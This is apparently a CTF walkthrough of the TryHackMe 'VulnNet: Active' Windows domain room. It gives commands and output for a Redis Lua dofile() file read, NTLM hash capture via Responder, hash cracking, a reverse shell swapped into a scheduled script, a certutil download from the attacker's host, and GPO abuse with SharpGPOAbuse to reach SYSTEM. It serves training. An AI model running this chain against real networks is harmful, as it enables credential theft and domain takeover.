

Vulnet:Active Walkthrough

General Trivia

Link:<https://tryhackme.com/room/vulnnetactive>

VulnNet Entertainment had a bad time with their previous network which suffered multiple breaches. Now they moved their entire infrastructure and hired you again as a core penetration tester. Your objective is to get full access to the system and compromise the domain.

- Difficulty: Medium
- Operating System: Windows

Another Windows machine. Do your best and breach it, good luck!

Intial Recon

Nmap results shows some ports are open

```
Nmap scan report for 10.10.245.199
Host is up, received echo-reply ttl 124 (0.19s latency).
Scanned at 2021-09-09 04:01:00 EDT for 108s

PORT      STATE SERVICE      REASON          VERSION
53/tcp    open  domain       syn-ack ttl 124 Simple DNS Plus
135/tcp    open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
139/tcp    open  netbios-ssn  syn-ack ttl 124 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds? syn-ack ttl 124
464/tcp    open  kpasswd5?    syn-ack ttl 124

6379/tcp   open  redis        syn-ack ttl 124 Redis key-value store 2.8.2402
9389/tcp   open  mc-nmf       syn-ack ttl 124 .NET Message Framing
49665/tcp  open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
49668/tcp  open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
49669/tcp  open  ncacn_http   syn-ack ttl 124 Microsoft Windows RPC over HTTP
1.0
49670/tcp  open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
49673/tcp  open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
49680/tcp  open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
49806/tcp  open  msrpc        syn-ack ttl 124 Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1
open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results
incomplete
No OS matches for host
TCP/IP fingerprint:
SCAN(V=7.91%E=4%D=9/9%OT=53%CT=%CU=%PV=Y%DS=5%DC=T%G=N%TM=6139BFA8%P=x86_64-pc-
linux-gnu)
SEQ(SP=107%GCD=1%ISR=108%TI=I%II=I%SS=S%TS=U)
OPS(O1=M506NW8NNS%O2=M506NW8NNS%O3=M506NW8%O4=M506NW8NNS%O5=M506NW8NNS%O6=M506NNS)
```

WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
ECN(R=Y%DF=Y%TG=80%W=FFFF%O=M506NW8NNS%CC=Y%Q=)
T1(R=Y%DF=Y%TG=80%S=0%A=S+%F=AS%RD=0%Q=)
T2(R=N)
T3(R=N)
T4(R=N)
U1(R=N)
IE(R=Y%DFI=N%TG=80%CD=Z)

Network Distance: 5 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 1s
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 29440/tcp): CLEAN (Timeout)
| Check 2 (port 32841/tcp): CLEAN (Timeout)
| Check 3 (port 51484/udp): CLEAN (Timeout)
| Check 4 (port 51906/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-09-09T08:02:12
|_ start_date: N/A

TRACEROUTE (using port 135/tcp)

HOP	RTT	ADDRESS
1	23.30 ms	10.17.0.1
2	... 4	
5	175.58 ms	10.10.245.199

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 04:02
Completed NSE at 04:02, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 04:02
Completed NSE at 04:02, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 04:02
Completed NSE at 04:02, 0.00s elapsed
Read data files from: /usr/bin/./share/nmap
OS and Service detection performed. Please report any incorrect results at
<https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 108.87 seconds
Raw packets sent: 109 (8.480KB) | Rcvd: 43 (2.480KB)

Two things are here to notice:
First, the SMB share and second the Redis Server
(I also enumerate the DNS port but found nothing interesting)

Enumerating SMB Shares:

Found nothing with anonymous login

```
# smbclient -L \\10.10.245.199
Enter WORKGROUP\root's password:
Anonymous login successful

      Sharename      Type      Comment
      -----      -
SMB1 disabled -- no workgroup available
```

Enumerating Redis Server

Now its time to enumerate the redis server using redis-cli command tool (you can download this tool using this command: `sudo apt-get install redis-tools`)

1. First, we have to check the INFO command, if it runs successfully then we don't require any authentication

```
└─(root🐼kali)-[~/TryHackme/Vulnet_Active]
└─# redis-cli -h 10.10.38.19
10.10.38.19:6379> INFO
# Server
redis_version:2.8.2402
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:b2a45a9622ff23b7
redis_mode:standalone
os:Windows
arch_bits:64
multiplexing_api:winsock_IOCP
process_id:1660
run_id:93384fc1e1e07b428a573cca1248e7f0d0aeea9f
tcp_port:6379
uptime_in_seconds:66
uptime_in_days:0
hz:10
lru_clock:3789764
config_file:

# Clients
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:0
```

blocked_clients:0

Memory

used_memory:952800

used_memory_human:930.47K

used_memory_rss:919256

used_memory_peak:952800

used_memory_peak_human:930.47K

used_memory_lua:36864

mem_fragmentation_ratio:0.96

mem_allocator:dldmalloc-2.8

Persistence

loading:0

rdb_changes_since_last_save:0

rdb_bgsave_in_progress:0

rdb_last_save_time:1631179650

rdb_last_bgsave_status:ok

rdb_last_bgsave_time_sec:-1

rdb_current_bgsave_time_sec:-1

aof_enabled:0

aof_rewrite_in_progress:0

aof_rewrite_scheduled:0

aof_last_rewrite_time_sec:-1

aof_current_rewrite_time_sec:-1

aof_last_bgrewrite_status:ok

aof_last_write_status:ok

Stats

total_connections_received:4

total_commands_processed:3

instantaneous_ops_per_sec:0

total_net_input_bytes:154

total_net_output_bytes:0

instantaneous_input_kbps:0.00

instantaneous_output_kbps:0.00

rejected_connections:0

sync_full:0

sync_partial_ok:0

sync_partial_err:0

expired_keys:0

evicted_keys:0

keyspace_hits:0

keyspace_misses:0

pubsub_channels:0

pubsub_patterns:0

latest_fork_usec:0

Replication

role:master

connected_slaves:0

master_repl_offset:0

```
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:0.56
used_cpu_user:0.56
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Keyspace
10.10.38.19:6379>
```

2. Now check the CONFIG GET command which gives us the values of the parameters

```
10.10.38.19:6379> CONFIG GET *
```

- 1) "dbfilename"
- 2) "dump.rdb"
- 3) "requirepass"
- 4) ""
- 5) "masterauth"
- 6) ""
- 7) "unixsocket"
- 8) ""
- 9) "logfile"
- 10) ""
- 11) "pidfile"
- 12) "/var/run/redis.pid"
- 13) "maxmemory"
- 14) "0"
- 15) "maxmemory-samples"
- 16) "3"
- 17) "timeout"
- 18) "0"
- 19) "tcp-keepalive"
- 20) "0"
- 21) "auto-aof-rewrite-percentage"
- 22) "100"
- 23) "auto-aof-rewrite-min-size"
- 24) "67108864"
- 25) "hash-max-ziplist-entries"
- 26) "512"
- 27) "hash-max-ziplist-value"
- 28) "64"
- 29) "list-max-ziplist-entries"
- 30) "512"
- 31) "list-max-ziplist-value"
- 32) "64"
- 33) "set-max-intset-entries"
- 34) "512"
- 35) "zset-max-ziplist-entries"

```
36) "128"
37) "zset-max-ziplist-value"
38) "64"
39) "hll-sparse-max-bytes"
40) "3000"
41) "lua-time-limit"
42) "5000"
43) "slowlog-log-slower-than"
44) "10000"
45) "latency-monitor-threshold"
46) "0"
47) "slowlog-max-len"
48) "128"
49) "port"
50) "6379"
51) "tcp-backlog"
52) "511"
53) "databases"
54) "16"
55) "repl-ping-slave-period"
56) "10"
57) "repl-timeout"
58) "60"
59) "repl-backlog-size"
60) "1048576"
61) "repl-backlog-ttl"
62) "3600"
63) "maxclients"
64) "10000"
65) "watchdog-period"
66) "0"
67) "slave-priority"
68) "100"
69) "min-slaves-to-write"
70) "0"
71) "min-slaves-max-lag"
72) "10"
73) "hz"
74) "10"
75) "repl-diskless-sync-delay"
76) "5"
77) "no-appendfsync-on-rewrite"
78) "no"
79) "slave-serve-stale-data"
80) "yes"
81) "slave-read-only"
82) "yes"
83) "stop-writes-on-bgsave-error"
84) "yes"
85) "daemonize"
86) "no"
87) "rdbcompression"
```

```
88) "yes"
89) "rdbchecksum"
90) "yes"
91) "activerehashing"
92) "yes"
93) "repl-disable-tcp-nodelay"
94) "no"
95) "repl-diskless-sync"
96) "no"
97) "aof-rewrite-incremental-fsync"
98) "yes"
99) "aof-load-truncated"
100) "yes"
101) "appendonly"
102) "no"
103) "dir"
104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
105) "maxmemory-policy"
106) "volatile-lru"
107) "appendfsync"
108) "everysec"
109) "save"
110) "jd 3600 jd 300 jd 60"
111) "loglevel"
112) "notice"
113) "client-output-buffer-limit"
114) "normal 0 0 0 slave 268435456 67108864 60 pubsub 33554432 8388608 60"
115) "unixsocketperm"
116) "0"
117) "slaveof"
118) ""
119) "notify-keyspace-events"
120) ""
121) "bind"
122) ""
(2.26s)
10.10.38.19:6379>
```

One thing here to notice that, one of the parameter value is exposing the username

```
104) "C:\\Users\\enterprise-security\\Downloads\\Redis-x64-2.8.2402"
```

Now what we can do with this username?

After doing some research, I found the hacktricks blog which tells us about every possible way for enumerating the redis server

Link:<https://book.hacktricks.xyz/pentesting/6379-pentesting-redis#lua-sandbox-bypass>

Link:

https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html

I tried each and every way one by one(relevent ways only) and then i found a way for remote code execution which was "LUA Sandbox Bypass"

Redis can execute Lua scripts (in a sandbox, more on that later) via the "EVAL" command. The sandbox allows the "dofile()" command .It can be used to enumerate files and directories. No specific privilege is needed by Redis.

If the Lua script is syntactically invalid or attempts to set global variables, the error messages will leak some content of the target file:

```
# redis-cli -h 10.10.38.19 -p 6379 EVAL "dofile('C:\\\\Users\\\\enterprise-
security\\\\Desktop\\\\user.txt')" 0
(error) ERR Error running script (call to
f_ce5d85ea1418770097e56c1b605053114cc3ff2e): @user_script:1:
C:\Users\enterprise-security\Desktop\user.txt:1: malformed number near 'FLAG
REDACTED'
```

After finding the first flag, I was now confused what to do next. After thinking a long time I remember one of the ippsec's videos in which he uses the mysql-cli to connect back to our local machine using responder which captures the service hash

Can we get success with redis also?

First I run the responder in my local machine

```
(rootkali)-[~/TryHackme/Vulnet_Active]
# responder -I tun0

      --
  .----.----- .----- .----- .----- .----- .--|  |.----- .-----
 |  _|  _--|__ --|  _|  _|  _|  _|  _|  _|  _|  _|  _|  _|  _|  _|  _|
 |__|  |_____|_____|  __|_____|__|__|_____|__|_____|__|
              |__|

      NBT-NS, LLMNR & MDNS Responder 3.0.6.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
    LLMNR [ON]
    NBT-NS [ON]
    DNS/MDNS [ON]

[+] Servers:
    HTTP server [ON]
    HTTPS server [ON]
    WPAD proxy [OFF]
    Auth proxy [OFF]
    SMB server [ON]
    Kerberos server [ON]
    SQL server [ON]
    FTP server [ON]
```



```

IMAP server          [ON]
POP3 server          [ON]
SMTP server          [ON]
DNS server           [ON]
LDAP server          [ON]
RDP server           [ON]
DCE-RPC server       [ON]
WinRM server         [ON]

[+] HTTP Options:
    Always serving EXE      [OFF]
    Serving EXE             [OFF]
    Serving HTML            [OFF]
    Upstream Proxy          [OFF]

[+] Poisoning Options:
    Analyze Mode            [OFF]
    Force WPAD auth         [OFF]
    Force Basic Auth        [OFF]
    Force LM downgrade      [OFF]
    Fingerprint hosts       [OFF]

[+] Generic Options:
    Responder NIC           [tun0]
    Responder IP            [10.17.12.44]
    Challenge set           [random]
    Don't Respond To Names  ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name  [WIN-1A7IJPY4GUY]
    Responder Domain Name   [08P0.LOCAL]
    Responder DCE-RPC Port  [48810]

[+] Listening for events...

```

Then I run the **EVAL dofile()** function using **redis-cli** giving my IP address as an argument for a call back

```

-# redis-cli -h 10.10.38.19 -p 6379 eval "dofile('//10.17.12.44//hello')" 0
(error) ERR Error running script (call to
f_9a3fb3f37a8f9a2162f8324427cfb7ae216db062): @user_script:1: cannot open
//10.17.12.44//hello: Permission denied

```

We got an permission denied error but looking at the responder, we successfully capture the service hash(NetNTLMv2 hash)

```

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.38.19
[SMB] NTLMv2-SSP Username : VULNNET\enterprise-security
[SMB] NTLMv2-SSP Hash     : enterprise-

```

```
security.:VULNET:79d8214341d6654d:B42B723C5A1CAFCE07A2D2D923E334A4:0101000000000000
```

```
--[snip]--
```

Now, crack this hash using John the Ripper

```
# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
REDACTED (enterprise-security)
1g 0:00:00:04 DONE (2021-09-09 06:14) 0.2188g/s 878354p/s 878354c/s 878354C/s
sandi&j4..sand36
Use the "--show --format=netntlmv2" options to display all of the cracked
passwords reliably
Session completed
```

Now we got the credentials

Again trying to enumerate the SMB share

```
└─(rootkali)-[~/TryHackme/Vulnet_Active]
└─# smbclient -L \\10.10.38.19 -U 'enterprise-security'
Enter WORKGROUP\enterprise-security's password:

      Sharename      Type      Comment
      ──────────      ───      ─────────
ADMIN$              Disk      Remote Admin
C$                  Disk      Default share
Enterprise-Share    Disk
IPC$                 IPC       Remote IPC
NETLOGON            Disk      Logon server share
SYSVOL              Disk      Logon server share
SMB1 disabled -- no workgroup available
```

This time we got some shares listing here, from which 'Enterprise-Share' is looking interesting

Lets look into this share

```
# smbclient \\\\10.10.38.19\\Enterprise-Share -U 'enterprise-security'
Enter WORKGROUP\enterprise-security's password:
Try "help" to get a list of possible commands.
smb: \> dir
.                D           0   Tue Feb 23 17:45:41 2021
..               D           0   Tue Feb 23 17:45:41 2021
PurgeIrrelevantData_1826.ps1  A          69   Tue Feb 23 19:33:18 2021
```

```
9558271 blocks of size 4096. 5128038 blocks available
smb: \>
```

We got an powershell executable file(.ps1), lets check what it's doing

```
(rootkali)-[~/TryHackme/Vulnet_Active]
└─# cat PurgeIrrelevantData_1826.ps1
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
```

It seems like an scheduled task, maybe we can change the contents with our reverse shell, and got an intial foothold?

```
(rootkali)-[~/TryHackme/Vulnet_Active]
└─# smbclient \\10.10.45.90\Enterprise-Share -U 'enterprise-security'
Enter WORKGROUP\enterprise-security's password:
Try "help" to get a list of possible commands.
smb: \> dir

.                D           0  Tue Feb 23 17:45:41 2021
..               D           0  Tue Feb 23 17:45:41 2021
PurgeIrrelevantData_1826.ps1  A       69  Tue Feb 23 19:33:18 2021

9466623 blocks of size 4096. 870783 blocks available
smb: \> put PurgeIrrelevantData_1826.ps1
putting file PurgeIrrelevantData_1826.ps1 as \PurgeIrrelevantData_1826.ps1 (2.3
kb/s) (average 2.3 kb/s)
smb: \> dir

.                D           0  Tue Feb 23 17:45:41 2021
..               D           0  Tue Feb 23 17:45:41 2021
PurgeIrrelevantData_1826.ps1  A    4403  Thu Sep  9 07:48:07 2021

9466623 blocks of size 4096. 870781 blocks available
```

Initial Foothold:

Using the nishang shell (Invoke-PowershellTcp.ps1) , I change the file with the reverse shell and use nc to listen on my local machine

```
(rootkali)-[~/TryHackme/Vulnet_Active]
└─# rlwrap nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.17.12.44] from (UNKNOWN) [10.10.38.19] 50046
Windows PowerShell running as user enterprise-security on VULNNET-BC3TCK1
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Users\enterprise-security\Downloads>PS C:\Users\enterprise-
security\Downloads>
```

GOT A SHELL!!

Checking the tokens:

```
PS C:\Users\enterprise-security\Downloads> whoami /all

USER INFORMATION
-----

User Name                               SID
=====
vulnnet\enterprise-security S-1-5-21-1405206085-1650434706-76331420-1103


GROUP INFORMATION
-----

Group Name                               Type                               SID
Attributes
=====
Everyone                               Well-known group S-1-1-0
Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                          Alias                               S-1-5-32-545
Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias                               S-1-5-32-554
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\SERVICE                   Well-known group S-1-5-6
Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                           Well-known group S-1-2-1
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users         Well-known group S-1-5-11
Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization            Well-known group S-1-5-15
Mandatory group, Enabled by default, Enabled group
LOCAL                                    Well-known group S-1-2-0
Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1
Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level     Label                               S-1-16-12288


PRIVILEGES INFORMATION
-----

Privilege Name                           Description                           State
=====
SeMachineAccountPrivilege               Add workstations to domain
Disabled
SeChangeNotifyPrivilege                  Bypass traverse checking               Enabled
SeImpersonatePrivilege                   Impersonate a client after authentication Enabled
```

SeCreateGlobalPrivilege	Create global objects	Enabled
SeIncreaseWorkingSetPrivilege	Increase a process working set	Disabled

We have 'SelmpersonatePrivilege' token enabled

Checking the system info:

[illegible][illegible]

```
Hyper-V Requirements:      A hypervisor has been detected. Features required
for Hyper-V will not be displayed.
```

Nothing interesting....

Enumeration using PowerView:

After spending so much time in manual enumeration, i revise my notes and recall powerview.ps1 script for enumeration

Uploading the executable script to the remote server using python webserver
Checking DomainUser Info

```
Get-DomainGroup -MemberIdentity Enterprise-security

usncreated           : 12348
grouptype            : GLOBAL_SCOPE, SECURITY
samaccounttype       : GROUP_OBJECT
samaccountname       : Domain Users
whenchanged          : 2/23/2021 9:32:07 AM
objectsid            : S-1-5-21-1405206085-1650434706-76331420-513
objectclass          : {top, group}
cn                   : Domain Users
usnchanged           : 12350
dscorepropagationdata : {2/23/2021 9:32:08 AM, 1/1/1601 12:00:01 AM}
memberof            : CN=Users,CN=Builtin,DC=vulnnet,DC=local
iscriticalsystemobject : True
description          : All domain users
distinguishedname    : CN=Domain Users,CN=Users,DC=vulnnet,DC=local
name                 : Domain Users
whencreated          : 2/23/2021 9:32:07 AM
instancetype         : 4
objectguid           : 674aa57f-e874-4881-961d-bf123938b45d
objectcategory       :
CN=Group,CN=Schema,CN=Configuration,DC=vulnnet,DC=local
```

Checking for GPOs

(Using PowerView Tricks:

<https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993>)

```
PS C:\Users\Enterprise-security\Downloads>
Get-NetGPO

usncreated           : 5672
systemflags          : -1946157056
displayname          : security-pol-vn
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{53D6AB1B-
2488-11D1-A28C-00C04FB94F17}][{827D319E-6EA
```

```
C-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}][{B1BE8D72-6EAC-11D2-A4EA-00C04F79F83A}{53D6AB1B-2488-11D1-A28C-00C04FB94F17}]
whentchanged      : 2/23/2021 11:09:44 PM
objectclass       : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged        : 20506
dscorepropagationdata : {2/23/2021 11:08:53 PM, 2/23/2021 9:32:08 AM, 1/1/1601 12:00:00 AM}
name              : {31B2F340-016D-11D2-945F-00C04FB984F9}
flags             : 0
cn                : {31B2F340-016D-11D2-945F-00C04FB984F9}
iscriticalsystemobject : True
gpcfilesyspath    : \\vulnnet.local\sysvol\vulnnet.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}
distinguishedname : CN={31B2F340-016D-11D2-945F-00C04FB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whentcreated      : 2/23/2021 9:30:33 AM
versionnumber     : 3
instancetype      : 4
objectguid        : 9d593bf2-13ac-4df7-97a9-faff2abd3e2c
objectcategory    : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local

usncreated        : 5675
systemflags       : -1946157056
displayname       : Default Domain Controllers Policy
gpcmachineextensionnames : [{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{D02B1F72-3407-48AE-BA88-E8213C6761F1}][{827D319E-6EAC-11D2-A4EA-00C04F79F83A}{803E14A0-B4FB-11D0-A0D0-00A0C90F574B}]
whentchanged      : 2/24/2021 12:14:52 AM
objectclass       : {top, container, groupPolicyContainer}
gpcfunctionalityversion : 2
showinadvancedviewonly : True
usnchanged        : 24594
dscorepropagationdata : {2/23/2021 9:32:08 AM, 1/1/1601 12:00:00 AM}
name              : {6AC1786C-016F-11D2-945F-00C04fB984F9}
flags             : 0
cn                : {6AC1786C-016F-11D2-945F-00C04fB984F9}
iscriticalsystemobject : True
gpcfilesyspath    : \\vulnnet.local\sysvol\vulnnet.local\Policies\{6AC1786C-016F-11D2-945F-00C04fB984F9}
distinguishedname : CN={6AC1786C-016F-11D2-945F-00C04fB984F9},CN=Policies,CN=System,DC=vulnnet,DC=local
whentcreated      : 2/23/2021 9:30:33 AM
versionnumber     : 4
instancetype      : 4
objectguid        : 71ee1493-0079-40b4-80f0-8ba42c4f61d5
objectcategory    : CN=Group-Policy-Container,CN=Schema,CN=Configuration,DC=vulnnet,DC=local
```

It's time to use Bloodhound, so I upload the SharpHound.ps1 script to the remote server using python http server.

```
Invoke-BloodHound -CollectionMethod All
ls

Directory: C:\Users\Enterprise-security\Downloads

Mode                LastWriteTime         Length Name
----                -
d-----          2/23/2021    2:29 PM                nssm-2.24-101-g897c7ad
d-----          2/26/2021   12:14 PM                Redis-x64-2.8.2402
-a----           9/9/2021    6:38 AM             8940 20210909063742_BloodHound.zip
-a----           9/9/2021    6:06 AM            770279 PowerView.ps1
-a----          2/26/2021   10:37 AM             143 startup.bat
-a----           9/9/2021    6:38 AM            10169
Y2Q3NzU4MTgtZWE0Ny00ZGJjLTg4MDAtM2NjYjJmZTZjN2U2.bin
```

Copy the zip file to the SMB share and download from there, now launch noe4j server then bloodhound

Uploading the data to the bloodhound

Checking for "Find the shortest path to domain admins"

Enterprise-Security (which we owned) has generic rights access to the GPO "security-pol-vn"(which we seen in powerview.ps1 results)

According to bloodhound info:

The user [ENTERPRISE-SECURITY@VULNNET.LOCAL](#) has generic write access to the GPO [SECURITY-POL-VN@VULNNET.LOCAL](#). Generic Write access grants you the ability to write to any non-protected attribute on the target object, including "members" for a group, and "serviceprincipalnames" for a user

Actually I don't know how to exploit the GPO permissions, so after some research I found a blog

Link: <https://book.hacktricks.xyz/windows/active-directory-methodology/acl-persistence-abuse#abusing-the-gpo-permissions>

Which tells about how to exploit this vulnerability step by step

But this doesn't help. After spending hours on internet I found one github repo "SharpGPOAbuse" which can do some magic

Uploading SharpGPOAbuse.exe using certutil.exe

```
certutil -urlcache -split -f http://10.17.12.44/SharpGPOAbuse.exe Hello.exe
****  Online  ****
000000 ...
013c00
CertUtil: -URLCache command completed successfully.
```


Adding the enterprise-security user to the local administrators groups

```
.\Hello.exe --AddComputerTask --TaskName "Nothing" --Author
vulnnet\administrator --command "cmd.exe" --Arguments "/c net localgroup
administrators enterprise-security /add" --GPOName "SECURITY-POL-VN"

[+] Domain = vulnnet.local
[+] Domain Controller = VULNNET-BC3TCK1SHNQ.vulnnet.local
[+] Distinguished Name = CN=Policies,CN=System,DC=vulnnet,DC=local
[+] GUID of "SECURITY-POL-VN" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] Creating file \\vulnnet.local\SysVol\vulnnet.local\Policies\{31B2F340-016D-
11D2-945F-00C04FB984F9}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new immediate task. Wait for the GPO
refresh cycle.
[+] Done!
```

Updating the GPO Permissions

```
gpupdate /force
Updating policy...

Computer Policy update has completed successfully.

User Policy update has completed successfully.
```

Again checking the user details and now this time we are the member of local administrator groups

```
net user enterprise-security

User name                enterprise-security
Full Name                 Enterprise Security
Comment                  TryHackMe
User's comment
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never

Password last set        2/23/2021 4:02:50 PM
Password expires         Never
Password changeable      2/24/2021 4:02:50 PM
Password required        Yes
User may change password Yes

Workstations allowed     All
Logon script
```

```
User profile
Home directory
Last logon          9/11/2021 12:07:55 AM

Logon hours allowed      All

Local Group Memberships  *Administrators
Global Group memberships *Domain Users
The command completed successfully.
```

Now use psexec.py to get an admin shell

```
└─(rootkali)-[~/TryHackme/Vulnet_Active]
└─# impacket-psexec vulnnet/enterprise-security@10.10.81.5
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.81.5.....
[*] Found writable share ADMIN$
[*] Uploading file OILXGUPx.exe
[*] Opening SVCManager on 10.10.81.5.....
[*] Creating service oCCv on 10.10.81.5.....
[*] Starting service oCCv.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.1757]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system
```

GOT THE ROOT FLAG